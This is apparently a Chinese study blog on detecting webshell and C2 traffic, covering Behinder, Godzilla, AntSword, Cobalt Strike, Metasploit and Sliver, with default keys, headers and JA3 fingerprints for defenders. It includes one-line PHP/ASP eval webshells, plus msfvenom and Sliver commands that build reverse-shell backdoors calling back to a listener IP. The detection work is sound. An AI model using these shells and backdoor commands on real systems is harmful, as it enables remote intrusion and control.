第228-229天:流量分析篇&Webshell工具类&数据解密&特征研判&哥斯拉&天蝎&冰蝎&蚁剑

webshell流量分析

参考链接:https://www.cnblogs.com/B0like/p/17486657.html

菜刀

因为现在使用菜刀的少之又少,基本都没有人使用了。所以这里做一个理论分析。

1
2
3
payload的特征:
PHP:<?php eval($_POST[caidao]);?>
ASP: <%eval request("bai")%>

参考链接:mmp.weixin.qq.com/s/SjUMoY6EafQzAb3RNWNkpg?

菜刀webshell的动态特征

请求包中:

ua头为百度爬虫

请求体中存在eavl,base64等特征字符

1
请求体中传递的payload为base64编码,并且存在固定的QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J

请求体中执行结果响应为明文,格式为X@Y 结果 X@Y之中

蚁剑

一般在链接蚁剑的时候我都是使用的base64的编码器和解码器,所以这里直接就使用这种方式进行链接了。

image-20250710185817304

对其做一些简单的操作:

image-20250710191451298

UA头

我用的蚁剑默认是随机的UA头,应该是以前的老版本会有UA头固定这个问题,现在默认UA都不会固定

POST提交

所有数据全部采用post提交,因为webshell要考虑到一些大的流量的数据包无法通过get方式进行提交。

base64编码的值需要去掉前面两位才能正常进行解码

image-20250710192558690

这里使用的就是base64编码的值,发现并不能进行解码

image-20250710192629578

但是将前面两位去掉之后,就可以发现

返回包是同样使用base64进行解密的

image-20250710193609395

如果这里是使用的默认的解码和编码器

1
数据包流量特征:请求体中一定有@in_set("display_errors","0");@set_time_limit(0)开头,后面存在base64等字符

image-20250710193549724

这里我使用默认的编码器和解码器,连webshell都连不上了。我都不知道为什么。

冰蝎4.1

冰蝎连接成功是三个数据包,连接失败是2个数据包

payload特征:

先base64加密,再经过AES对称加密全部代码,最后传输

AES加密的密钥为webshell连接密码的MD5的前16位,默认连接密码是"rebeyond"(即密钥是md5('rebeyond')[0:16]=e45e329feb5d925b)

User agent字段

冰蝎内置了17种ua头,每次连接shell都会随机一个进行使用,如果发现历史流量中同一个IP访问URL的时候,命令了以下列表中的多个ua头,可以基本确定为冰蝎

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.9.168 Version/11.50
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; Tablet PC 2.0; .NET4.0E)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.0)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)
Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 SE 2.X MetaSr 1.0
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201

但是用户可以很容易的修改

content-type

该请求头是冰蝎3.0(4.1的版本中也有)中写死的部分,除非反编译,不然很难修改

1
Content-Type: application/octet-stream

Accept-Language

固定是:

1
zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7

部分3.0以后的子版本到4.0以后增加了referer参数,末尾文件名随机大小写

天蝎

1
2
3
4
5
6
7
X-Forwarded-For:(随机IP地址)	如果使用天蝎这个webshell工具进行连接,传输的数据包中会带有这个字,但是一般的正常流量也会有这个字段,所以这个是做为了一个弱特征进行匹配

User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64 x64)
AppleWebKit/537.36(KHTML, like Gecko) Chrome/89.0.4389.90
Safari/537.36 Edg/89.0.774.57

Content-Type: application/octet-stream

哥斯拉

哥斯拉在连接成功的时候会有三个数据包,如果是连接失败就会有两个数据包。(强特征)

image-20250710211123338

image-20250710211306523

第二个特征

1
2
数据包中:
eval(base64_decode(strrev(urldecode('

image-20250710211633483

第三个特征

产生cookie之后,cookie最后一定会有一个分号:

image-20250710211859514

正常的数据包,如果这里有个分号的话,说明还有数据。而这里并没有,而是一个光秃秃的分号。

第四个特征

第一个请求总会发送大量的数据,这是配置信息,且请求包内无cookie,服务器响应包无内容,生成一个session,后续请求会带上此session到请求包中的cookie中。

第一个请求:

image-20250710212148369

可以发现没有cookie。但是返回包中携带了session

第二个请求:

image-20250710212241126

第二个请求包里面就带上了第一个请求包中的cookie了。并且有第三个特征,cookie的最后会有一个分号。

第五个特征

1
2
3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

image-20250710212424657

这两个值是固定的。

解密默认密钥流量

使用的解密工具:

1
https://github.com/abc123info/BlueTeamTools

冰蝎

上面对各种webshell工具的流量的特征进行了分析,那么如果没有足够的特征的情况下有没有具体的铁证呢?那么就是解密对方的流量,如果对方的流量可以被你的使用webshell的规则进行解密出来,那么十有八九是一个webshell。

1
2
请求包:尝试利用默认密钥等进行解密,成功还原算法明文即可认定对应工具
回显数据包:尝试利用默认密钥等进行解密,成功还原算法明文即可认定对应工具

image-20250710201344634

其实在正常业务中,如果一般公司不会采用所有流量都使用AES这种加密,一般的数据都是使用编码的方式进行传输,因为加密会吃性能,所以如果没有使用加密流量的地方出现了这种加密流量,本身就不正常。

上面有说过冰蝎的默认密钥,如果攻击者在使用默认的密钥的情况下,你可以试着使用解密工具对这串数据进行解密。

题目

image-20250710213836708

首先从题目得知,攻击者使用的是冰蝎这个工具进行连接,那么在对流量进行分析的时候首先筛选http的数据包,然后在筛选post提交的数据包。

1
2
wireshark语法:
http.request.method=="POST"

image-20250710214453690

image-20250710214803036

这里工具解密不出来,采用人工解密的方式

1
http://tools.bugscaner.com/cryptoaes/

image-20250711080900646

对他进行解密,发现可以解密出来

image-20250711080951294

得到base64的值,然后在进行解码,得到源代码

image-20250711080942532

找到一个数据包里面的返回值很大,然后通过解密这个返回值。

image-20250711083255398

1
2
3
{"basicInfo":"xxxxxx","driveList":"Lw==","currentPath":"L3Zhci93d3cvaHRtbA==","osInfo":"TGludXg=","arch":"NjQ=","localIp":"MTcyLjE3LjAuMg=="}

解密得到上面这种形式的一串数据,"basicInfo":"xxxxxx"这里的xxx很多,我删掉了而已,然后将这里的xxx在进行一次base64的解码。

image-20250711083433995

得到一段html的源代码。

image-20250711083527104

将他保存到本地的html文件中,然后进行访问。

在里面搜索找到如下:

image-20250711084411551

为什么会有这个phpinfo?是攻击者植入,然后进行访问的然后有的流量(没看过全部数据包不排除是这样),还是其他原因?

如果细心发现,你每次打开冰蝎都会进入到基本信息里面,这个基本信息就是一个phpinfo的内容。

image-20250711084807879

哥斯拉

image-20250710213140957

直接将数据包放到这个工具中进行解密,如果可以解密成功已经可以说明问题了。这里解密的是请求包,解密返回包如下:

image-20250710213239197

蚁剑

题目

image-20250711085259949

1
http.request.method=="POST"

同样是进行筛选

image-20250711085401515

1
tcp.stream eq 39

得到关键请求:

image-20250711090503076

1
AvY2QgIi91c3IvbG9jYWwvdG9tY2F0IjtlbnY7ZWNobyBmNWNkOTtwd2Q7ZWNobyAwYTI1ZmJjMWM1&n3wst4r

将这个值进行base64解密,发现是乱码。删除两位字符之后:

image-20250711090537899

处理他的返回请求:

image-20250711090814620

image-20250711090801336

先进行一次URL编码,然后在通过base64解码。

image-20250711090858520

附录—Wireshark常用语法

一、基础语法规则

类别 语法示例 说明
比较运算符 ==!=><>=<= tcp.port == 80(等于)、ip.len > 1000(大于)
逻辑运算符 andornot 支持括号分组,如 (http or https) and ip.src == 192.168.1.1
通配符 *(任意字符)、?(单个字符) 仅用于字符串匹配,如 http.host == "*.example.com"
大小写敏感 字段名小写,字符串默认敏感 可加 i 忽略大小写:http.request.method == "get"i

二、按协议过滤

协议名 过滤语法 说明
TCP tcp 所有 TCP 流量
UDP udp 所有 UDP 流量
IPv4 ip 所有 IPv4 流量
IPv6 ipv6 所有 IPv6 流量
HTTP http 所有 HTTP 流量(包括请求 / 响应)
HTTPS/TLS tls 所有 TLS 加密流量
DNS dns 所有 DNS 查询 / 响应
ARP arp 所有 ARP 地址解析请求 / 响应
ICMP icmp 所有 ICMP 消息(如 ping)

三、按 IP 地址 / 端口过滤

类别 过滤语法示例 说明
源 IP ip.src == 192.168.1.1 源 IP 为 192.168.1.1 的流量
目的 IP ip.dst == 10.0.0.0/24 目的 IP 属于 10.0.0.0 网段的流量
任意 IP ip.addr == 192.168.1.100 源或目的 IP 为 192.168.1.100 的流量(双向)
源端口 tcp.srcport == 80 TCP 源端口为 80 的流量(HTTP)
目的端口 udp.dstport == 53 UDP 目的端口为 53 的流量(DNS)
任意端口 tcp.port == 443 TCP 源或目的端口为 443 的流量(HTTPS)
多端口匹配 udp.port in {53, 161} UDP 端口为 53(DNS)或 161(SNMP)的流量

四、按协议字段过滤

协议 过滤语法示例 说明
HTTP http.request 所有 HTTP 请求(GET/POST 等)
HTTP http.response.code == 404 HTTP 404 错误响应
HTTP http.host == "www.example.com" 访问特定域名的 HTTP 流量
HTTP http.user_agent contains "Chrome" 包含 Chrome 浏览器标识的 HTTP 请求
DNS dns.qry.name == "example.com" DNS 查询域名包含 example.com 的流量
DNS dns.qry.type == A DNS A 记录查询(IPv4 地址)
TCP tcp.flags.syn == 1 TCP SYN 包(连接建立请求)
TCP tcp.analysis.retransmission TCP 重传包(可能存在丢包)

五、按数据包内容过滤

类别 过滤语法示例 说明
包长度 frame.len > 1000 数据包长度大于 1000 字节的流量
字符串内容 data contains "password" 数据包内容包含 “password” 字符串的流量(适用于明文)
十六进制内容 tcp.payload contains 0x1a TCP 载荷包含十六进制 0x1a 的流量

六、组合过滤示例

需求描述 过滤语法示例
特定 IP 的 HTTP 流量 ip.src == 192.168.1.1 and http
排除特定网段的 DNS 请求 dns and not ip.src == 203.0.113.0/24
本地网段的 HTTPS 或 SSH 流量 (tcp.port == 443 or tcp.port == 22) and ip.dst == 192.168.1.0/24
包含错误的 TCP 连接 tcp.flags.reset == 1 or tcp.analysis.retransmission

七、实用技巧

功能 操作方法
字段自动补全 输入协议名后加 .(如 http.),Wireshark 会自动提示可用字段
保存过滤条件 菜单栏「Analyze」→「Display Filters」→「Save」保存常用规则
区分捕获 / 显示过滤 - 捕获过滤(抓包前设置,语法简单,如 tcp port 80) - 显示过滤(抓包后筛选,语法丰富)

C2后门流量特征分析

image-20250711091902068

MSF

1
msfvenom -p windows/x64/shell/reverse_tcp lhost=192.168.61.184 lport=6666 -f exe -o 123.exe

首先生成一个后门。

msf这边进行监听:

1
2
3
4
5
6
7
8
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set payload windows/x64/shell/reverse_tcp
payload => windows/x64/shell/reverse_tcp
msf6 exploit(multi/handler) > set lport 6666
lport => 6666
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > run

image-20250711111859114

执行几条命令之后然后查看数据包,发现数据是进行明文传输。

如果想要不明文

1
2
3
MZ标头和DOS模式异常
set enablestageencoding true
set stageencoder X86/shikata ga nai

http

image-20250711112110460

上面使用的shell模式的后门, 这里在使用http后门,然后观察流量特征。

1
msfvenom -p windows/meterpreter/reverse_http lhost=192.168.61.184 lport=6667 -f exe -o 12.exe

image-20250711112944433

一个很明显的特征就是他的请求头和返回值是一个固定的格式,并且这里使用都是get请求,然后后面是一个随机的字符串,这里算是一个特征。

视频中演示的还有一个返回值里面的头部有一个MZ的特征,我这里已经没有了。

HTTPS

1
msfvenom -p windows/meterpreter/reverse_https lhost=192.168.61.184 lport=6668 -f exe -o 1.exe

image-20250711114520947

上面是ja3的

1
ae76f123158d52fd84c2c313c0c724ac

我这里ja3s不知道为什么没有:

image-20250711114837473

CS

image-20250711110140571

参考链接:https://cloud.tencent.com/developer/article/1937733

我这里用的是4.9的版本,有些特征已经没有了。

如果真的要研究这类后门类型的流量,最好做多次实验然后进行对比总结。比如说重启环境是否会发生不一样的变化,重启电脑有没有变化呢?等等之类的

image-20250711100046822

先让其上线,然后执行几条简单的命令。

4.9的特征(弱)

请求的路径里面有pixel.gif这个文件,我没有看源码不知道有没有其他的文件名进行混淆的。

image-20250711100850167

4.7特征

image-20250711101750006

解密工具

1
https://github.com/DidierStevens/DidierStevensSuite

如果可以使用这个工具解密,流量就可以定性说明是cs的流量。

image-20250711102117827

首先将这个http的包进行一个导出了,然后使用上面的解密工具进行解密。

运行python,1768.py这个脚本

image-20250711102426854

image-20250711102522924

image-20250711102543269

HTTPS

image-20250711102925272

https的流量在wireshark中有几种标识,一种是TLS,一种是SSL。

客户端流量:

image-20250711103650849

服务端流量:

image-20250711103721864

4.7版本,他这里每个版本的都不一样:

image-20250711103853843

我的这个版本的哈希值不一样:

1
2
3
4
5
6
7
8
项目地址:https://github.com/salesforce/ja3
ja3:
ae76f123158d52fd84c2c313c0c724ac
d0ec4b50a944b182fc10ff51f883ccf7

ja3s:
567bb420d39046dbfd1f68b558d86382
6d6b821affda5de6562d217770a7ead0

image-20250711104943078

都有的特征—心跳包

我看的文档的心跳包的内容和我有点不一样,但是不影响cs会有心跳包这个机制,我这里是通过发送一个大小为169的数据包,有的文章是5601?等等。

image-20250711101100805

我的这个版本我也没有看到有js8这样的流量,所以上面对这个的分析,全部使用理论分析。

sliver

image-20250711115010640

1
generate --http http://192.168.101.19:9001 --os windows

image-20250711162836005

1
http -l 9001		#建立监听

image-20250711163106642

image-20250711163140785

1
use xxxx

image-20250711163209088

观察流量

image-20250711163447654

这里这个就很想正常的数据包。

image-20250711163626852

这里可以看到他的cookie内容是csrfxxx的

进入他的源码中分析:

1
sliver-master/server/configs/http-c2.go

image-20250711164000428

image-20250711163842889

这里是他对cookie随机的内容。

image-20250711164041926

这个是他对路径随机的请求。

那么如果对方的数据包结构是这样的话,那么就需要同时满足cookie还有路径的这个要求,才能匹配上这个流量,而是只能作为弱特征。因为正常网站也会有这样的流量,不能通过这个单一的直接就判断对方是c2。

sliver对后缀也有讲究,他会随机js,html,php,等等这样的后缀进行结尾。

HTTPS

1
generate --mtls 192.168.101.19:4444 --os windows --arch amd64

生成后门。

1
mtls -l 4444		#监听

image-20250711165037009

分析流量:

image-20250711165304389

同样是有客户端和服务端进行打招呼的数据包,将其使用脚本进行分析:

1
2
python ja3s.py -a 3.pcapng
python ja3.py -a 3.pcapng

image-20250711165644472

image-20250711165921426